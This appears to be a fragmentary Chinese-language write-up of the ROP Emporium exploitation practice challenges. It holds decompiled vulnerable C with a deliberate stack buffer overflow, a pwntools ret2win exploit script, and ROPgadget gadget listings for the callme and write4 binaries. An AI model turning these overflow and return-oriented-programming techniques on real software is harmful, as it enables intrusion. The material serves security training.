memset(&s, 0, 0x20u); puts( "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n" "What could possibly go wrong?"); puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n"); printf("> "); return fgets(&s, 50, stdin); }
memset(&s, 0, 0x20uLL); puts( "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\n" "What could possibly go wrong?"); puts("You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n"); printf("> ", 0LL); return fgets(&s, 50, stdin); }
--------------------------------------------------------------- int ret2win() { printf("Thank you! Here's your flag:"); return system("/bin/cat flag.txt"); }
由于没有其余参数,所以无差
exp如下:
1 2 3 4 5 6 7 8
from pwn import * context(os='linux',arch='amd64',log_level='debug') ret_addr = 0x400811 payload = 'a'*(0x20+8)+p64(ret_addr) p = process('./ret2win') p.recvuntil('>') p.sendline(payload) p.interactive()
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/callme$ ROPgadget --binary callme32 --only 'pop|ret' Gadgets information ============================================================ 0x080488ab : pop ebp ; ret 0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08048579 : pop ebx ; ret 0x080488aa : pop edi ; pop ebp ; ret 0x080488a9 : pop esi ; pop edi ; pop ebp ; ret 0x08048562 : ret 0x080486be : ret 0xeac1
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/callme/callme$ ROPgadget --binary callme --only 'pop|ret' Gadgets information ============================================================ 0x0000000000401b1c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401b1e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401b20 : pop r14 ; pop r15 ; ret 0x0000000000401b22 : pop r15 ; ret 0x0000000000401b1b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401b1f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000401900 : pop rbp ; ret 0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret 0x0000000000401b23 : pop rdi ; ret 0x0000000000401ab2 : pop rdx ; ret 0x0000000000401b21 : pop rsi ; pop r15 ; ret 0x0000000000401ab1 : pop rsi ; pop rdx ; ret 0x0000000000401b1d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004017d9 : ret
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/write4$ ROPgadget --binary write432 --only "mov|pop|ret" Gadgets information ============================================================ 0x08048547 : mov al, byte ptr [0xc9010804] ; ret 0x08048670 : mov dword ptr [edi], ebp ; ret 0x080484b0 : mov ebx, dword ptr [esp] ; ret 0x080486db : pop ebp ; ret 0x080486d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080483e1 : pop ebx ; ret 0x080486da : pop edi ; pop ebp ; ret 0x080486d9 : pop esi ; pop edi ; pop ebp ; ret 0x0804819d : ret 0x080484fe : ret 0xeac1
ubuntu@VM-0-3-ubuntu:~/rop_emporium_all_challenges/write4$ ROPgadget --binary write4 --only "mov|pop|ret" Gadgets information ============================================================ 0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret 0x0000000000400821 : mov dword ptr [rsi], edi ; ret 0x00000000004007ae : mov eax, 0 ; pop rbp ; ret 0x0000000000400820 : mov qword ptr [r14], r15 ; ret 0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400890 : pop r14 ; pop r15 ; ret 0x0000000000400892 : pop r15 ; ret 0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret 0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop rbp ; ret 0x0000000000400893 : pop rdi ; ret 0x0000000000400891 : pop rsi ; pop r15 ; ret 0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005b9 : ret